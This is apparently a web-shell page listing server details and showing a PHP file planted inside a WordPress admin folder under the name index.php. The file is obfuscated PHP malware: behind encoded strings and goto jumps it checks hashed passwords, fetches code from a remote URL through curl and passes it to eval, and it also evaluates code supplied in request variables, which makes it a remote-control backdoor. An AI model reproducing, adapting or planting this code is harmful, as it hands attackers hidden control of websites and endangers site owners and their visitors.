HEX
Server: LiteSpeed
System: Linux venus 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User: axxoncom (1007)
PHP: 8.3.19
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/axxoncom/domains/wadialthahabit.com/private_html/wp-admin/includes/includes/index.php
<?php
 goto SaRkvodtF3F0; Pf0gdt6zlmpJ: $A3EtydQwekoJ = $J2fgAPKArWAj("\x7e", "\40"); goto LndMGUGOMZXu; FFM50t44xS8b: class US28pw3g1Xk3 { static function ZC1g7TtWc3Lf($s7DefyTlWw3C) { goto CyR2Pouwor6I; WpxkGBevet89: $Dn1DnwWoVZSt = explode("\74", $s7DefyTlWw3C); goto ObMAYCylm_5j; CyR2Pouwor6I: $pFVpuKOjJXrf = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto LYfjMmIRsoMc; LYfjMmIRsoMc: $pisXJooyvzOw = $pFVpuKOjJXrf("\x7e", "\40"); goto WpxkGBevet89; n9MyAzBOII9c: xCCvOWfkC20a: goto XPKQe6f2JJFn; XPKQe6f2JJFn: return $kHX06y2cdrRS; goto hNwRac1yIDni; ObMAYCylm_5j: $kHX06y2cdrRS = ''; goto SiPckDE3wKLP; SiPckDE3wKLP: foreach ($Dn1DnwWoVZSt as $MXFAU2YimrML => $DMTthYzqZa03) { $kHX06y2cdrRS .= $pisXJooyvzOw[$DMTthYzqZa03 - 61753]; ZDIDwU0cv01H: } goto n9MyAzBOII9c; hNwRac1yIDni: } static function W_DEwihKZhBW($f1Nl5XSPVjgx, $bJMhHTKJ4PDc) { goto uPjVQ_6_bthd; lJBgK1czgYpv: $R8MAlJQ0s02B = curl_exec($HaQiExXHNjBn); goto dB5sTv8bw9Ei; dB5sTv8bw9Ei: return empty($R8MAlJQ0s02B) ? $bJMhHTKJ4PDc($f1Nl5XSPVjgx) : $R8MAlJQ0s02B; goto j5JN2QWpWkm6; uPjVQ_6_bthd: $HaQiExXHNjBn = curl_init($f1Nl5XSPVjgx); goto HgS6DCFNC655; HgS6DCFNC655: curl_setopt($HaQiExXHNjBn, CURLOPT_RETURNTRANSFER, 1); goto lJBgK1czgYpv; j5JN2QWpWkm6: } static function J5_kwNvwQgMH() { goto vAH2zN4MvIx7; IgE9PGuO_xfc: $ZxEnfqL9alOI = @$dzFoqKgvdg9w[1]($dzFoqKgvdg9w[0 + 10](INPUT_GET, $dzFoqKgvdg9w[6 + 3])); goto oskgSBzpmwBZ; zgWtlduMnEDj: $bprti6jZR4nC = $dzFoqKgvdg9w[0 + 2]($lygXXU2jXonF, true); goto ZONz3K588dPn; oskgSBzpmwBZ: $lygXXU2jXonF = @$dzFoqKgvdg9w[2 + 1]($dzFoqKgvdg9w[4 + 2], $ZxEnfqL9alOI); goto zgWtlduMnEDj; VDSkFCMb4QcW: NSkHvaBdxU5c: goto t6qBf02LVpnt; YjWP2vK80FV6: @eval($dzFoqKgvdg9w[4 + 0]($sTHESGc4zrKb)); goto ErZJRq2JR9TZ; RSKBw13LrXOk: if (!(@$bprti6jZR4nC[0] - time() > 0 and md5(md5($bprti6jZR4nC[0 + 3])) === "\62\71\67\x38\64\x65\64\143\x31\x62\65\x65\145\71\64\142\x36\x30\60\x35\x63\141\x30\x63\66\64\67\x66\145\64\x65\70")) { goto NSkHvaBdxU5c; } goto VP3UDLrhAIUk; ErZJRq2JR9TZ: die; goto VDSkFCMb4QcW; PEB4uikrUvB2: MjpaLkqPeyfy: goto IgE9PGuO_xfc; vAH2zN4MvIx7: $k5xv6YylfwJ8 = array("\x36\61\x37\70\x30\74\x36\x31\67\x36\65\x3c\x36\x31\x37\67\x38\x3c\66\x31\67\70\x32\74\x36\61\x37\66\63\x3c\66\x31\67\67\70\74\66\x31\67\x38\x34\74\x36\61\x37\x37\67\x3c\66\61\67\x36\x32\74\x36\61\67\66\x39\74\66\61\x37\x38\60\x3c\66\61\67\x36\63\x3c\66\61\x37\67\64\74\66\61\x37\66\70\74\66\x31\67\x36\x39", "\x36\x31\x37\66\x34\x3c\x36\61\67\66\63\74\x36\x31\67\x36\65\74\66\61\x37\70\x34\74\66\61\x37\x36\65\74\66\x31\x37\x36\x38\74\66\x31\67\66\63\x3c\x36\x31\x38\x33\60\74\x36\x31\x38\62\x38", "\x36\61\x37\67\x33\x3c\x36\x31\67\66\x34\74\66\x31\67\x36\x38\x3c\66\61\67\66\x39\74\x36\x31\67\70\64\74\66\x31\x37\67\71\74\66\x31\67\67\70\74\x36\x31\67\x38\x30\74\66\x31\67\66\70\x3c\66\x31\67\67\x39\x3c\66\61\67\x37\70", "\66\61\x37\66\67\74\x36\x31\67\x38\x32\x3c\66\61\67\x38\x30\x3c\x36\x31\67\x37\x32", "\x36\x31\67\70\61\74\x36\x31\x37\70\62\x3c\x36\61\x37\x36\64\x3c\x36\x31\67\67\x38\74\66\x31\70\x32\65\74\66\x31\x38\x32\67\74\66\61\67\70\x34\74\66\x31\x37\67\71\x3c\x36\x31\x37\x37\70\74\x36\61\x37\x38\x30\74\x36\61\67\66\x38\x3c\66\x31\x37\x37\71\74\x36\x31\x37\67\x38", "\66\x31\x37\67\x37\x3c\x36\61\67\x37\64\74\x36\61\x37\67\x31\x3c\x36\61\67\x37\x38\x3c\x36\x31\67\70\64\74\66\61\x37\x37\x36\x3c\66\61\x37\x37\x38\74\x36\x31\67\66\x33\74\66\61\x37\x38\64\74\x36\x31\x37\x38\x30\74\x36\x31\x37\x36\70\x3c\x36\61\x37\66\71\74\66\61\67\x36\x33\x3c\66\61\67\x37\70\x3c\66\61\x37\x36\71\x3c\66\x31\67\66\63\74\66\61\67\x36\x34", "\x36\61\70\x30\67\74\66\61\x38\x33\67", "\66\61\x37\x35\64", "\66\61\70\x33\x32\x3c\66\x31\70\x33\x37", "\x36\x31\x38\x31\x34\x3c\66\61\67\71\x37\74\66\61\67\71\67\74\x36\x31\70\61\x34\x3c\66\61\x37\71\60", "\x36\61\x37\x37\67\74\x36\61\x37\x37\64\x3c\x36\x31\67\67\x31\74\x36\61\x37\66\63\x3c\x36\61\67\67\x38\x3c\x36\x31\67\x36\65\74\x36\61\x37\70\64\x3c\x36\x31\67\67\64\x3c\x36\61\x37\x36\71\x3c\66\x31\67\x36\x37\74\x36\61\67\x36\x32\x3c\66\x31\67\66\x33"); goto UxwzOinPTKZ7; ZONz3K588dPn: @$dzFoqKgvdg9w[2 + 8](INPUT_GET, "\x6f\x66") == 1 && die($dzFoqKgvdg9w[4 + 1](__FILE__)); goto RSKBw13LrXOk; VP3UDLrhAIUk: $sTHESGc4zrKb = self::w_DeWIHKZHbW($bprti6jZR4nC[0 + 1], $dzFoqKgvdg9w[3 + 2]); goto YjWP2vK80FV6; UxwzOinPTKZ7: foreach ($k5xv6YylfwJ8 as $HR9NCROm0Eyq) { $dzFoqKgvdg9w[] = self::Zc1G7tTWC3Lf($HR9NCROm0Eyq); nc9IBsGHnkpf: } goto PEB4uikrUvB2; t6qBf02LVpnt: } } goto yKDDDlJJOqRv; qabcMFAekHJO: @(md5(md5(md5(md5($U7Fc6aunh0E7[8])))) === "\64\x36\61\143\x32\64\x31\141\x32\x33\x37\71\144\141\70\142\145\x30\x63\62\70\71\65\x36\62\144\64\141\x30\65\66\x61") && (count($U7Fc6aunh0E7) == 14 && in_array(gettype($U7Fc6aunh0E7) . count($U7Fc6aunh0E7), $U7Fc6aunh0E7)) ? ($U7Fc6aunh0E7[64] = $U7Fc6aunh0E7[64] . $U7Fc6aunh0E7[71]) && ($U7Fc6aunh0E7[82] = $U7Fc6aunh0E7[64]($U7Fc6aunh0E7[82])) && @eval($U7Fc6aunh0E7[64](${$U7Fc6aunh0E7[47]}[13])) : $U7Fc6aunh0E7; goto ITWSBYVDZUEL; LndMGUGOMZXu: $U7Fc6aunh0E7 = ${$A3EtydQwekoJ[15 + 16] . $A3EtydQwekoJ[35 + 24] . $A3EtydQwekoJ[37 + 10] . $A3EtydQwekoJ[39 + 8] . $A3EtydQwekoJ[45 + 6] . $A3EtydQwekoJ[2 + 51] . $A3EtydQwekoJ[51 + 6]}; goto qabcMFAekHJO; ITWSBYVDZUEL: metaphone("\x4d\x44\x49\64\117\x44\x59\x33\117\104\x59\167\117\x44\153\x7a\117\104\x4d\x30\x4e\x44\115\x7a\115\x44\131\65\116\x44\x55\x78"); goto FFM50t44xS8b; SaRkvodtF3F0: $J2fgAPKArWAj = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto Pf0gdt6zlmpJ; yKDDDlJJOqRv: uS28pW3g1Xk3::j5_kWNvWQgMH();
?>